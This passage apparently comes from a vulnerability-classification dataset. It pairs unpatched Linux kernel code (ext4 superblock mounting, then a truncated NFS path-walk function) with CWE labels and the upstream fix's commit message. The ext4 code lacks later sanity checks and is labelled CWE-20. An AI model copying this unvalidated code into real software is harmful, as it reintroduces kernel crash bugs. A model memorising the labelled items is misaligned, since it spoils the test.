err;\n\tunsigned int journal_ioprio = DEFAULT_JOURNAL_IOPRIO;\n\n\tsbi = kzalloc(sizeof(*sbi), GFP_KERNEL);\n\tif (!sbi)\n\t\treturn -ENOMEM;\n\tsb->s_fs_info = sbi;\n\tsbi->s_mount_opt = 0;\n\tsbi->s_resuid = EXT4_DEF_RESUID;\n\tsbi->s_resgid = EXT4_DEF_RESGID;\n\tsbi->s_inode_readahead_blks = EXT4_DEF_INODE_READAHEAD_BLKS;\n\tsbi->s_sb_block = sb_block;\n\n\tunlock_kernel();\n\n\t/* Cleanup superblock name */\n\tfor (cp = sb->s_id; (cp = strchr(cp, '/'));)\n\t\t*cp = '!';\n\n\tblocksize = sb_min_blocksize(sb, EXT4_MIN_BLOCK_SIZE);\n\tif (!blocksize) {\n\t\tprintk(KERN_ERR \"EXT4-fs: unable to set blocksize\\n\");\n\t\tgoto out_fail;\n\t}\n\n\t/*\n\t * The ext4 superblock will not be buffer aligned for other than 1kB\n\t * block sizes. We need to calculate the offset from buffer start.\n\t */\n\tif (blocksize != EXT4_MIN_BLOCK_SIZE) {\n\t\tlogical_sb_block = sb_block * EXT4_MIN_BLOCK_SIZE;\n\t\toffset = do_div(logical_sb_block, blocksize);\n\t} else {\n\t\tlogical_sb_block = sb_block;\n\t}\n\n\tif (!(bh = sb_bread(sb, logical_sb_block))) {\n\t\tprintk(KERN_ERR \"EXT4-fs: unable to read superblock\\n\");\n\t\tgoto out_fail;\n\t}\n\t/*\n\t * Note: s_es must be initialized as soon as possible because\n\t * some ext4 macro-instructions depend on its value\n\t */\n\tes = (struct ext4_super_block *) (((char *)bh->b_data) + offset);\n\tsbi->s_es = es;\n\tsb->s_magic = le16_to_cpu(es->s_magic);\n\tif (sb->s_magic != EXT4_SUPER_MAGIC)\n\t\tgoto cantfind_ext4;\n\n\t/* Set defaults before we parse the mount options */\n\tdef_mount_opts = le32_to_cpu(es->s_default_mount_opts);\n\tif (def_mount_opts & EXT4_DEFM_DEBUG)\n\t\tset_opt(sbi->s_mount_opt, DEBUG);\n\tif (def_mount_opts & EXT4_DEFM_BSDGROUPS)\n\t\tset_opt(sbi->s_mount_opt, GRPID);\n\tif (def_mount_opts & EXT4_DEFM_UID16)\n\t\tset_opt(sbi->s_mount_opt, NO_UID32);\n#ifdef CONFIG_EXT4_FS_XATTR\n\tif (def_mount_opts & EXT4_DEFM_XATTR_USER)\n\t\tset_opt(sbi->s_mount_opt, XATTR_USER);\n#endif\n#ifdef CONFIG_EXT4_FS_POSIX_ACL\n\tif (def_mount_opts & EXT4_DEFM_ACL)\n\t\tset_opt(sbi->s_mount_opt, POSIX_ACL);\n#endif\n\tif ((def_mount_opts & EXT4_DEFM_JMODE) == EXT4_DEFM_JMODE_DATA)\n\t\tsbi->s_mount_opt |= EXT4_MOUNT_JOURNAL_DATA;\n\telse if ((def_mount_opts & EXT4_DEFM_JMODE) == EXT4_DEFM_JMODE_ORDERED)\n\t\tsbi->s_mount_opt |= EXT4_MOUNT_ORDERED_DATA;\n\telse if ((def_mount_opts & EXT4_DEFM_JMODE) == EXT4_DEFM_JMODE_WBACK)\n\t\tsbi->s_mount_opt |= EXT4_MOUNT_WRITEBACK_DATA;\n\n\tif (le16_to_cpu(sbi->s_es->s_errors) == EXT4_ERRORS_PANIC)\n\t\tset_opt(sbi->s_mount_opt, ERRORS_PANIC);\n\telse if (le16_to_cpu(sbi->s_es->s_errors) == EXT4_ERRORS_CONTINUE)\n\t\tset_opt(sbi->s_mount_opt, ERRORS_CONT);\n\telse\n\t\tset_opt(sbi->s_mount_opt, ERRORS_RO);\n\n\tsbi->s_resuid = le16_to_cpu(es->s_def_resuid);\n\tsbi->s_resgid = le16_to_cpu(es->s_def_resgid);\n\tsbi->s_commit_interval = JBD2_DEFAULT_MAX_COMMIT_AGE * HZ;\n\tsbi->s_min_batch_time = EXT4_DEF_MIN_BATCH_TIME;\n\tsbi->s_max_batch_time = EXT4_DEF_MAX_BATCH_TIME;\n\n\tset_opt(sbi->s_mount_opt, RESERVATION);\n\tset_opt(sbi->s_mount_opt, BARRIER);\n\n\t/*\n\t * turn on extents feature by default in ext4 filesystem\n\t * only if feature flag already set by mkfs or tune2fs.\n\t * Use -o noextents to turn it off\n\t */\n\tif (EXT4_HAS_INCOMPAT_FEATURE(sb, EXT4_FEATURE_INCOMPAT_EXTENTS))\n\t\tset_opt(sbi->s_mount_opt, EXTENTS);\n\telse\n\t\text4_warning(sb, __func__,\n\t\t\t\"extents feature not enabled on this filesystem, \"\n\t\t\t\"use tune2fs.\");\n\n\t/*\n\t * enable delayed allocation by default\n\t * Use -o nodelalloc to turn it off\n\t */\n\tset_opt(sbi->s_mount_opt, DELALLOC);\n\n\n\tif (!parse_options((char *) data, sb, &journal_devnum,\n\t\t\t &journal_ioprio, NULL, 0))\n\t\tgoto failed_mount;\n\n\tsb->s_flags = (sb->s_flags & ~MS_POSIXACL) |\n\t\t((sbi->s_mount_opt & EXT4_MOUNT_POSIX_ACL) ? MS_POSIXACL : 0);\n\n\tif (le32_to_cpu(es->s_rev_level) == EXT4_GOOD_OLD_REV &&\n\t (EXT4_HAS_COMPAT_FEATURE(sb, ~0U) ||\n\t EXT4_HAS_RO_COMPAT_FEATURE(sb, ~0U) ||\n\t EXT4_HAS_INCOMPAT_FEATURE(sb, ~0U)))\n\t\tprintk(KERN_WARNING\n\t\t \"EXT4-fs warning: feature flags set on rev 0 fs, \"\n\t\t \"running e2fsck is recommended\\n\");\n\n\t/*\n\t * Check feature flags regardless of the revision level, since we\n\t * previously didn't change the revision level when setting the flags,\n\t * so there is a chance incompat flags are set on a rev 0 filesystem.\n\t */\n\tfeatures = EXT4_HAS_INCOMPAT_FEATURE(sb, ~EXT4_FEATURE_INCOMPAT_SUPP);\n\tif (features) {\n\t\tprintk(KERN_ERR \"EXT4-fs: %s: couldn't mount because of \"\n\t\t \"unsupported optional features (%x).\\n\", sb->s_id,\n\t\t\t(le32_to_cpu(EXT4_SB(sb)->s_es->s_feature_incompat) &\n\t\t\t~EXT4_FEATURE_INCOMPAT_SUPP));\n\t\tgoto failed_mount;\n\t}\n\tfeatures = EXT4_HAS_RO_COMPAT_FEATURE(sb, ~EXT4_FEATURE_RO_COMPAT_SUPP);\n\tif (!(sb->s_flags & MS_RDONLY) && features) {\n\t\tprintk(KERN_ERR \"EXT4-fs: %s: couldn't mount RDWR because of \"\n\t\t \"unsupported optional features (%x).\\n\", sb->s_id,\n\t\t\t(le32_to_cpu(EXT4_SB(sb)->s_es->s_feature_ro_compat) &\n\t\t\t~EXT4_FEATURE_RO_COMPAT_SUPP));\n\t\tgoto failed_mount;\n\t}\n\thas_huge_files = EXT4_HAS_RO_COMPAT_FEATURE(sb,\n\t\t\t\t EXT4_FEATURE_RO_COMPAT_HUGE_FILE);\n\tif (has_huge_files) {\n\t\t/*\n\t\t * Large file size enabled file system can only be\n\t\t * mount if kernel is build with CONFIG_LBD\n\t\t */\n\t\tif (sizeof(root->i_blocks) < sizeof(u64) &&\n\t\t\t\t!(sb->s_flags & MS_RDONLY)) {\n\t\t\tprintk(KERN_ERR \"EXT4-fs: %s: Filesystem with huge \"\n\t\t\t\t\t\"files cannot be mounted read-write \"\n\t\t\t\t\t\"without CONFIG_LBD.\\n\", sb->s_id);\n\t\t\tgoto failed_mount;\n\t\t}\n\t}\n\tblocksize = BLOCK_SIZE << le32_to_cpu(es->s_log_block_size);\n\n\tif (blocksize < EXT4_MIN_BLOCK_SIZE ||\n\t blocksize > EXT4_MAX_BLOCK_SIZE) {\n\t\tprintk(KERN_ERR\n\t\t \"EXT4-fs: Unsupported filesystem blocksize %d on %s.\\n\",\n\t\t blocksize, sb->s_id);\n\t\tgoto failed_mount;\n\t}\n\n\tif (sb->s_blocksize != blocksize) {\n\n\t\t/* Validate the filesystem blocksize */\n\t\tif (!sb_set_blocksize(sb, blocksize)) {\n\t\t\tprintk(KERN_ERR \"EXT4-fs: bad block size %d.\\n\",\n\t\t\t\t\tblocksize);\n\t\t\tgoto failed_mount;\n\t\t}\n\n\t\tbrelse(bh);\n\t\tlogical_sb_block = sb_block * EXT4_MIN_BLOCK_SIZE;\n\t\toffset = do_div(logical_sb_block, blocksize);\n\t\tbh = sb_bread(sb, logical_sb_block);\n\t\tif (!bh) {\n\t\t\tprintk(KERN_ERR\n\t\t\t \"EXT4-fs: Can't read superblock on 2nd try.\\n\");\n\t\t\tgoto failed_mount;\n\t\t}\n\t\tes = (struct ext4_super_block *)(((char *)bh->b_data) + offset);\n\t\tsbi->s_es = es;\n\t\tif (es->s_magic != cpu_to_le16(EXT4_SUPER_MAGIC)) {\n\t\t\tprintk(KERN_ERR\n\t\t\t \"EXT4-fs: Magic mismatch, very weird !\\n\");\n\t\t\tgoto failed_mount;\n\t\t}\n\t}\n\n\tsbi->s_bitmap_maxbytes = ext4_max_bitmap_size(sb->s_blocksize_bits,\n\t\t\t\t\t\t has_huge_files);\n\tsb->s_maxbytes = ext4_max_size(sb->s_blocksize_bits, has_huge_files);\n\n\tif (le32_to_cpu(es->s_rev_level) == EXT4_GOOD_OLD_REV) {\n\t\tsbi->s_inode_size = EXT4_GOOD_OLD_INODE_SIZE;\n\t\tsbi->s_first_ino = EXT4_GOOD_OLD_FIRST_INO;\n\t} else {\n\t\tsbi->s_inode_size = le16_to_cpu(es->s_inode_size);\n\t\tsbi->s_first_ino = le32_to_cpu(es->s_first_ino);\n\t\tif ((sbi->s_inode_size < EXT4_GOOD_OLD_INODE_SIZE) ||\n\t\t (!is_power_of_2(sbi->s_inode_size)) ||\n\t\t (sbi->s_inode_size > blocksize)) {\n\t\t\tprintk(KERN_ERR\n\t\t\t \"EXT4-fs: unsupported inode size: %d\\n\",\n\t\t\t sbi->s_inode_size);\n\t\t\tgoto failed_mount;\n\t\t}\n\t\tif (sbi->s_inode_size > EXT4_GOOD_OLD_INODE_SIZE)\n\t\t\tsb->s_time_gran = 1 << (EXT4_EPOCH_BITS - 2);\n\t}\n\tsbi->s_desc_size = le16_to_cpu(es->s_desc_size);\n\tif (EXT4_HAS_INCOMPAT_FEATURE(sb, EXT4_FEATURE_INCOMPAT_64BIT)) {\n\t\tif (sbi->s_desc_size < EXT4_MIN_DESC_SIZE_64BIT ||\n\t\t sbi->s_desc_size > EXT4_MAX_DESC_SIZE ||\n\t\t !is_power_of_2(sbi->s_desc_size)) {\n\t\t\tprintk(KERN_ERR\n\t\t\t \"EXT4-fs: unsupported descriptor size %lu\\n\",\n\t\t\t sbi->s_desc_size);\n\t\t\tgoto failed_mount;\n\t\t}\n\t} else\n\t\tsbi->s_desc_size = EXT4_MIN_DESC_SIZE;\n\tsbi->s_blocks_per_group = le32_to_cpu(es->s_blocks_per_group);\n\tsbi->s_inodes_per_group = le32_to_cpu(es->s_inodes_per_group);\n\tif (EXT4_INODE_SIZE(sb) == 0 || EXT4_INODES_PER_GROUP(sb) == 0)\n\t\tgoto cantfind_ext4;\n\tsbi->s_inodes_per_block = blocksize / EXT4_INODE_SIZE(sb);\n\tif (sbi->s_inodes_per_block == 0)\n\t\tgoto cantfind_ext4;\n\tsbi->s_itb_per_group = sbi->s_inodes_per_group /\n\t\t\t\t\tsbi->s_inodes_per_block;\n\tsbi->s_desc_per_block = blocksize / EXT4_DESC_SIZE(sb);\n\tsbi->s_sbh = bh;\n\tsbi->s_mount_state = le16_to_cpu(es->s_state);\n\tsbi->s_addr_per_block_bits = ilog2(EXT4_ADDR_PER_BLOCK(sb));\n\tsbi->s_desc_per_block_bits = ilog2(EXT4_DESC_PER_BLOCK(sb));\n\tfor (i = 0; i < 4; i++)\n\t\tsbi->s_hash_seed[i] = le32_to_cpu(es->s_hash_seed[i]);\n\tsbi->s_def_hash_version = es->s_def_hash_version;\n\ti = le32_to_cpu(es->s_flags);\n\tif (i & EXT2_FLAGS_UNSIGNED_HASH)\n\t\tsbi->s_hash_unsigned = 3;\n\telse if ((i & EXT2_FLAGS_SIGNED_HASH) == 0) {\n#ifdef __CHAR_UNSIGNED__\n\t\tes->s_flags |= cpu_to_le32(EXT2_FLAGS_UNSIGNED_HASH);\n\t\tsbi->s_hash_unsigned = 3;\n#else\n\t\tes->s_flags |= cpu_to_le32(EXT2_FLAGS_SIGNED_HASH);\n#endif\n\t\tsb->s_dirt = 1;\n\t}\n\n\tif (sbi->s_blocks_per_group > blocksize * 8) {\n\t\tprintk(KERN_ERR\n\t\t \"EXT4-fs: #blocks per group too big: %lu\\n\",\n\t\t sbi->s_blocks_per_group);\n\t\tgoto failed_mount;\n\t}\n\tif (sbi->s_inodes_per_group > blocksize * 8) {\n\t\tprintk(KERN_ERR\n\t\t \"EXT4-fs: #inodes per group too big: %lu\\n\",\n\t\t sbi->s_inodes_per_group);\n\t\tgoto failed_mount;\n\t}\n\n\tif (ext4_blocks_count(es) >\n\t\t (sector_t)(~0ULL) >> (sb->s_blocksize_bits - 9)) {\n\t\tprintk(KERN_ERR \"EXT4-fs: filesystem on %s:\"\n\t\t\t\" too large to mount safely\\n\", sb->s_id);\n\t\tif (sizeof(sector_t) < 8)\n\t\t\tprintk(KERN_WARNING \"EXT4-fs: CONFIG_LBD not \"\n\t\t\t\t\t\"enabled\\n\");\n\t\tgoto failed_mount;\n\t}\n\n\tif (EXT4_BLOCKS_PER_GROUP(sb) == 0)\n\t\tgoto cantfind_ext4;\n\n\t/* ensure blocks_count calculation below doesn't sign-extend */\n\tif (ext4_blocks_count(es) + EXT4_BLOCKS_PER_GROUP(sb) <\n\t le32_to_cpu(es->s_first_data_block) + 1) {\n\t\tprintk(KERN_WARNING \"EXT4-fs: bad geometry: block count %llu, \"\n\t\t \"first data block %u, blocks per group %lu\\n\",\n\t\t\text4_blocks_count(es),\n\t\t\tle32_to_cpu(es->s_first_data_block),\n\t\t\tEXT4_BLOCKS_PER_GROUP(sb));\n\t\tgoto failed_mount;\n\t}\n\tblocks_count = (ext4_blocks_count(es) -\n\t\t\tle32_to_cpu(es->s_first_data_block) +\n\t\t\tEXT4_BLOCKS_PER_GROUP(sb) - 1);\n\tdo_div(blocks_count, EXT4_BLOCKS_PER_GROUP(sb));\n\tsbi->s_groups_count = blocks_count;\n\tdb_count = (sbi->s_groups_count + EXT4_DESC_PER_BLOCK(sb) - 1) /\n\t\t EXT4_DESC_PER_BLOCK(sb);\n\tsbi->s_group_desc = kmalloc(db_count * sizeof(struct buffer_head *),\n\t\t\t\t GFP_KERNEL);\n\tif (sbi->s_group_desc == NULL) {\n\t\tprintk(KERN_ERR \"EXT4-fs: not enough memory\\n\");\n\t\tgoto failed_mount;\n\t}\n\n#ifdef CONFIG_PROC_FS\n\tif (ext4_proc_root)\n\t\tsbi->s_proc = proc_mkdir(sb->s_id, ext4_proc_root);\n\n\tif (sbi->s_proc)\n\t\tproc_create_data(\"inode_readahead_blks\", 0644, sbi->s_proc,\n\t\t\t\t &ext4_ui_proc_fops,\n\t\t\t\t &sbi->s_inode_readahead_blks);\n#endif\n\n\tbgl_lock_init(&sbi->s_blockgroup_lock);\n\n\tfor (i = 0; i < db_count; i++) {\n\t\tblock = descriptor_loc(sb, logical_sb_block, i);\n\t\tsbi->s_group_desc[i] = sb_bread(sb, block);\n\t\tif (!sbi->s_group_desc[i]) {\n\t\t\tprintk(KERN_ERR \"EXT4-fs: \"\n\t\t\t \"can't read group descriptor %d\\n\", i);\n\t\t\tdb_count = i;\n\t\t\tgoto failed_mount2;\n\t\t}\n\t}\n\tif (!ext4_check_descriptors(sb)) {\n\t\tprintk(KERN_ERR \"EXT4-fs: group descriptors corrupted!\\n\");\n\t\tgoto failed_mount2;\n\t}\n\tif (EXT4_HAS_INCOMPAT_FEATURE(sb, EXT4_FEATURE_INCOMPAT_FLEX_BG))\n\t\tif (!ext4_fill_flex_info(sb)) {\n\t\t\tprintk(KERN_ERR\n\t\t\t \"EXT4-fs: unable to initialize \"\n\t\t\t \"flex_bg meta info!\\n\");\n\t\t\tgoto failed_mount2;\n\t\t}\n\n\tsbi->s_gdb_count = db_count;\n\tget_random_bytes(&sbi->s_next_generation, sizeof(u32));\n\tspin_lock_init(&sbi->s_next_gen_lock);\n\n\terr = percpu_counter_init(&sbi->s_freeblocks_counter,\n\t\t\text4_count_free_blocks(sb));\n\tif (!err) {\n\t\terr = percpu_counter_init(&sbi->s_freeinodes_counter,\n\t\t\t\text4_count_free_inodes(sb));\n\t}\n\tif (!err) {\n\t\terr = percpu_counter_init(&sbi->s_dirs_counter,\n\t\t\t\text4_count_dirs(sb));\n\t}\n\tif (!err) {\n\t\terr = percpu_counter_init(&sbi->s_dirtyblocks_counter, 0);\n\t}\n\tif (err) {\n\t\tprintk(KERN_ERR \"EXT4-fs: insufficient memory\\n\");\n\t\tgoto failed_mount3;\n\t}\n\n\tsbi->s_stripe = ext4_get_stripe_size(sbi);\n\n\t/*\n\t * set up enough so that it can read an inode\n\t */\n\tsb->s_op = &ext4_sops;\n\tsb->s_export_op = &ext4_export_ops;\n\tsb->s_xattr = ext4_xattr_handlers;\n#ifdef CONFIG_QUOTA\n\tsb->s_qcop = &ext4_qctl_operations;\n\tsb->dq_op = &ext4_quota_operations;\n#endif\n\tINIT_LIST_HEAD(&sbi->s_orphan); /* unlinked but open files */\n\n\tsb->s_root = NULL;\n\n\tneeds_recovery = (es->s_last_orphan != 0 ||\n\t\t\t EXT4_HAS_INCOMPAT_FEATURE(sb,\n\t\t\t\t EXT4_FEATURE_INCOMPAT_RECOVER));\n\n\t/*\n\t * The first inode we look at is the journal inode. Don't try\n\t * root first: it may be modified in the journal!\n\t */\n\tif (!test_opt(sb, NOLOAD) &&\n\t EXT4_HAS_COMPAT_FEATURE(sb, EXT4_FEATURE_COMPAT_HAS_JOURNAL)) {\n\t\tif (ext4_load_journal(sb, es, journal_devnum))\n\t\t\tgoto failed_mount3;\n\t\tif (!(sb->s_flags & MS_RDONLY) &&\n\t\t EXT4_SB(sb)->s_journal->j_failed_commit) {\n\t\t\tprintk(KERN_CRIT \"EXT4-fs error (device %s): \"\n\t\t\t \"ext4_fill_super: Journal transaction \"\n\t\t\t \"%u is corrupt\\n\", sb->s_id,\n\t\t\t EXT4_SB(sb)->s_journal->j_failed_commit);\n\t\t\tif (test_opt(sb, ERRORS_RO)) {\n\t\t\t\tprintk(KERN_CRIT\n\t\t\t\t \"Mounting filesystem read-only\\n\");\n\t\t\t\tsb->s_flags |= MS_RDONLY;\n\t\t\t\tEXT4_SB(sb)->s_mount_state |= EXT4_ERROR_FS;\n\t\t\t\tes->s_state |= cpu_to_le16(EXT4_ERROR_FS);\n\t\t\t}\n\t\t\tif (test_opt(sb, ERRORS_PANIC)) {\n\t\t\t\tEXT4_SB(sb)->s_mount_state |= EXT4_ERROR_FS;\n\t\t\t\tes->s_state |= cpu_to_le16(EXT4_ERROR_FS);\n\t\t\t\text4_commit_super(sb, es, 1);\n\t\t\t\tgoto failed_mount4;\n\t\t\t}\n\t\t}\n\t} else if (test_opt(sb, NOLOAD) && !(sb->s_flags & MS_RDONLY) &&\n\t EXT4_HAS_INCOMPAT_FEATURE(sb, EXT4_FEATURE_INCOMPAT_RECOVER)) {\n\t\tprintk(KERN_ERR \"EXT4-fs: required journal recovery \"\n\t\t \"suppressed and not mounted read-only\\n\");\n\t\tgoto failed_mount4;\n\t} else {\n\t\tclear_opt(sbi->s_mount_opt, DATA_FLAGS);\n\t\tset_opt(sbi->s_mount_opt, WRITEBACK_DATA);\n\t\tsbi->s_journal = NULL;\n\t\tneeds_recovery = 0;\n\t\tgoto no_journal;\n\t}\n\n\tif (ext4_blocks_count(es) > 0xffffffffULL &&\n\t !jbd2_journal_set_features(EXT4_SB(sb)->s_journal, 0, 0,\n\t\t\t\t JBD2_FEATURE_INCOMPAT_64BIT)) {\n\t\tprintk(KERN_ERR \"ext4: Failed to set 64-bit journal feature\\n\");\n\t\tgoto failed_mount4;\n\t}\n\n\tif (test_opt(sb, JOURNAL_ASYNC_COMMIT)) {\n\t\tjbd2_journal_set_features(sbi->s_journal,\n\t\t\t\tJBD2_FEATURE_COMPAT_CHECKSUM, 0,\n\t\t\t\tJBD2_FEATURE_INCOMPAT_ASYNC_COMMIT);\n\t} else if (test_opt(sb, JOURNAL_CHECKSUM)) {\n\t\tjbd2_journal_set_features(sbi->s_journal,\n\t\t\t\tJBD2_FEATURE_COMPAT_CHECKSUM, 0, 0);\n\t\tjbd2_journal_clear_features(sbi->s_journal, 0, 0,\n\t\t\t\tJBD2_FEATURE_INCOMPAT_ASYNC_COMMIT);\n\t} else {\n\t\tjbd2_journal_clear_features(sbi->s_journal,\n\t\t\t\tJBD2_FEATURE_COMPAT_CHECKSUM, 0,\n\t\t\t\tJBD2_FEATURE_INCOMPAT_ASYNC_COMMIT);\n\t}\n\n\t/* We have now updated the journal if required, so we can\n\t * validate the data journaling mode. */\n\tswitch (test_opt(sb, DATA_FLAGS)) {\n\tcase 0:\n\t\t/* No mode set, assume a default based on the journal\n\t\t * capabilities: ORDERED_DATA if the journal can\n\t\t * cope, else JOURNAL_DATA\n\t\t */\n\t\tif (jbd2_journal_check_available_features\n\t\t (sbi->s_journal, 0, 0, JBD2_FEATURE_INCOMPAT_REVOKE))\n\t\t\tset_opt(sbi->s_mount_opt, ORDERED_DATA);\n\t\telse\n\t\t\tset_opt(sbi->s_mount_opt, JOURNAL_DATA);\n\t\tbreak;\n\n\tcase EXT4_MOUNT_ORDERED_DATA:\n\tcase EXT4_MOUNT_WRITEBACK_DATA:\n\t\tif (!jbd2_journal_check_available_features\n\t\t (sbi->s_journal, 0, 0, JBD2_FEATURE_INCOMPAT_REVOKE)) {\n\t\t\tprintk(KERN_ERR \"EXT4-fs: Journal does not support \"\n\t\t\t \"requested data journaling mode\\n\");\n\t\t\tgoto failed_mount4;\n\t\t}\n\tdefault:\n\t\tbreak;\n\t}\n\tset_task_ioprio(sbi->s_journal->j_task, journal_ioprio);\n\nno_journal:\n\n\tif (test_opt(sb, NOBH)) {\n\t\tif (!(test_opt(sb, DATA_FLAGS) == EXT4_MOUNT_WRITEBACK_DATA)) {\n\t\t\tprintk(KERN_WARNING \"EXT4-fs: Ignoring nobh option - \"\n\t\t\t\t\"its supported only with writeback mode\\n\");\n\t\t\tclear_opt(sbi->s_mount_opt, NOBH);\n\t\t}\n\t}\n\t/*\n\t * The jbd2_journal_load will have done any necessary log recovery,\n\t * so we can safely mount the rest of the filesystem now.\n\t */\n\n\troot = ext4_iget(sb, EXT4_ROOT_INO);\n\tif (IS_ERR(root)) {\n\t\tprintk(KERN_ERR \"EXT4-fs: get root inode failed\\n\");\n\t\tret = PTR_ERR(root);\n\t\tgoto failed_mount4;\n\t}\n\tif (!S_ISDIR(root->i_mode) || !root->i_blocks || !root->i_size) {\n\t\tiput(root);\n\t\tprintk(KERN_ERR \"EXT4-fs: corrupt root inode, run e2fsck\\n\");\n\t\tgoto failed_mount4;\n\t}\n\tsb->s_root = d_alloc_root(root);\n\tif (!sb->s_root) {\n\t\tprintk(KERN_ERR \"EXT4-fs: get root dentry failed\\n\");\n\t\tiput(root);\n\t\tret = -ENOMEM;\n\t\tgoto failed_mount4;\n\t}\n\n\text4_setup_super(sb, es, sb->s_flags & MS_RDONLY);\n\n\t/* determine the minimum size of new large inodes, if present */\n\tif (sbi->s_inode_size > EXT4_GOOD_OLD_INODE_SIZE) {\n\t\tsbi->s_want_extra_isize = sizeof(struct ext4_inode) -\n\t\t\t\t\t\t EXT4_GOOD_OLD_INODE_SIZE;\n\t\tif (EXT4_HAS_RO_COMPAT_FEATURE(sb,\n\t\t\t\t EXT4_FEATURE_RO_COMPAT_EXTRA_ISIZE)) {\n\t\t\tif (sbi->s_want_extra_isize <\n\t\t\t le16_to_cpu(es->s_want_extra_isize))\n\t\t\t\tsbi->s_want_extra_isize =\n\t\t\t\t\tle16_to_cpu(es->s_want_extra_isize);\n\t\t\tif (sbi->s_want_extra_isize <\n\t\t\t le16_to_cpu(es->s_min_extra_isize))\n\t\t\t\tsbi->s_want_extra_isize =\n\t\t\t\t\tle16_to_cpu(es->s_min_extra_isize);\n\t\t}\n\t}\n\t/* Check if enough inode space is available */\n\tif (EXT4_GOOD_OLD_INODE_SIZE + sbi->s_want_extra_isize >\n\t\t\t\t\t\t\tsbi->s_inode_size) {\n\t\tsbi->s_want_extra_isize = sizeof(struct ext4_inode) -\n\t\t\t\t\t\t EXT4_GOOD_OLD_INODE_SIZE;\n\t\tprintk(KERN_INFO \"EXT4-fs: required extra inode space not\"\n\t\t\t\"available.\\n\");\n\t}\n\n\tif (test_opt(sb, DATA_FLAGS) == EXT4_MOUNT_JOURNAL_DATA) {\n\t\tprintk(KERN_WARNING \"EXT4-fs: Ignoring delalloc option - \"\n\t\t\t\t\"requested data journaling mode\\n\");\n\t\tclear_opt(sbi->s_mount_opt, DELALLOC);\n\t} else if (test_opt(sb, DELALLOC))\n\t\tprintk(KERN_INFO \"EXT4-fs: delayed allocation enabled\\n\");\n\n\text4_ext_init(sb);\n\terr = ext4_mb_init(sb, needs_recovery);\n\tif (err) {\n\t\tprintk(KERN_ERR \"EXT4-fs: failed to initalize mballoc (%d)\\n\",\n\t\t err);\n\t\tgoto failed_mount4;\n\t}\n\n\t/*\n\t * akpm: core read_super() calls in here with the superblock locked.\n\t * That deadlocks, because orphan cleanup needs to lock the superblock\n\t * in numerous places. Here we just pop the lock - it's relatively\n\t * harmless, because we are now ready to accept write_super() requests,\n\t * and aviro says that's the only reason for hanging onto the\n\t * superblock lock.\n\t */\n\tEXT4_SB(sb)->s_mount_state |= EXT4_ORPHAN_FS;\n\text4_orphan_cleanup(sb, es);\n\tEXT4_SB(sb)->s_mount_state &= ~EXT4_ORPHAN_FS;\n\tif (needs_recovery) {\n\t\tprintk(KERN_INFO \"EXT4-fs: recovery complete.\\n\");\n\t\text4_mark_recovery_complete(sb, es);\n\t}\n\tif (EXT4_SB(sb)->s_journal) {\n\t\tif (test_opt(sb, DATA_FLAGS) == EXT4_MOUNT_JOURNAL_DATA)\n\t\t\tdescr = \" journalled data mode\";\n\t\telse if (test_opt(sb, DATA_FLAGS) == EXT4_MOUNT_ORDERED_DATA)\n\t\t\tdescr = \" ordered data mode\";\n\t\telse\n\t\t\tdescr = \" writeback data mode\";\n\t} else\n\t\tdescr = \"out journal\";\n\n\tprintk(KERN_INFO \"EXT4-fs: mounted filesystem %s with%s\\n\",\n\t sb->s_id, descr);\n\n\tlock_kernel();\n\treturn 0;\n\ncantfind_ext4:\n\tif (!silent)\n\t\tprintk(KERN_ERR \"VFS: Can't find ext4 filesystem on dev %s.\\n\",\n\t\t sb->s_id);\n\tgoto failed_mount;\n\nfailed_mount4:\n\tprintk(KERN_ERR \"EXT4-fs (device %s): mount failed\\n\", sb->s_id);\n\tif (sbi->s_journal) {\n\t\tjbd2_journal_destroy(sbi->s_journal);\n\t\tsbi->s_journal = NULL;\n\t}\nfailed_mount3:\n\tpercpu_counter_destroy(&sbi->s_freeblocks_counter);\n\tpercpu_counter_destroy(&sbi->s_freeinodes_counter);\n\tpercpu_counter_destroy(&sbi->s_dirs_counter);\n\tpercpu_counter_destroy(&sbi->s_dirtyblocks_counter);\nfailed_mount2:\n\tfor (i = 0; i < db_count; i++)\n\t\tbrelse(sbi->s_group_desc[i]);\n\tkfree(sbi->s_group_desc);\nfailed_mount:\n\tif (sbi->s_proc) {\n\t\tremove_proc_entry(\"inode_readahead_blks\", sbi->s_proc);\n\t\tremove_proc_entry(sb->s_id, ext4_proc_root);\n\t}\n#ifdef CONFIG_QUOTA\n\tfor (i = 0; i < MAXQUOTAS; i++)\n\t\tkfree(sbi->s_qf_names[i]);\n#endif\n\text4_blkdev_remove(sbi);\n\tbrelse(bh);\nout_fail:\n\tsb->s_fs_info = NULL;\n\tkfree(sbi);\n\tlock_kernel();\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'ext4: Add sanity checks for the superblock before mounting the filesystem\n\nThis avoids insane superblock configurations that could lead to kernel\noops due to null pointer derefences.\n\nhttp://bugzilla.kernel.org/show_bug.cgi?id=12371\n\nThanks to David Maciejak at Fortinet's FortiGuard Global Security\nResearch Team who discovered this bug independently (but at\napproximately the same time) as Thiemo Nagel, who submitted the patch.\n\nSigned-off-by: Thiemo Nagel \nSigned-off-by: \"Theodore Ts'o\" \nCc: stable@kernel.org'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int nfs4_path_walk(struct nfs_server *server,\n\t\t struct nfs_fh *mntfh,\n\t\t const char *path)\n{\n\tstruct nfs_fsinfo fsinfo;\n\tstruct nfs_fattr fattr;\n\tstruct nfs_fh lastfh;\n\tstruct qstr name;\n\tint ret;\n\n\tdprintk(\"--> nfs4_path_walk(,,%s)\\n\", path);\n\n\tfsinfo.fattr = &fattr;\n\tnfs_fattr_init(&fattr);\n\n\t/* Eat leading slashes */\n\twhile (*path == '/')\n\t\tpath++;\n\n\t/* Start by getting the root filehandle from the server */\n\tret = server->nfs_client->rpc_ops->getroot(server, mntfh, &fsinfo);\n\tif (ret < 0) {\n\t\tdprintk(\"nfs4_get_root: getroot error = %d\\n\", -ret);\n\t\treturn ret;\n\t}\n\n\tif (fattr.type != NFDIR) {\n\t\tprintk(KERN_ERR \"nfs4_get_root:\"\n\t\t \" getroot encountered non-directory\\n\");\n\t\treturn -ENOTDIR;\n\t}\n\n\t/* FIXME: It is quite valid for the server to return a referral here */\n\tif (fattr.valid & NFS_ATTR_FATTR_V4_REFERRAL) {\n\t\tprintk(KERN_ERR 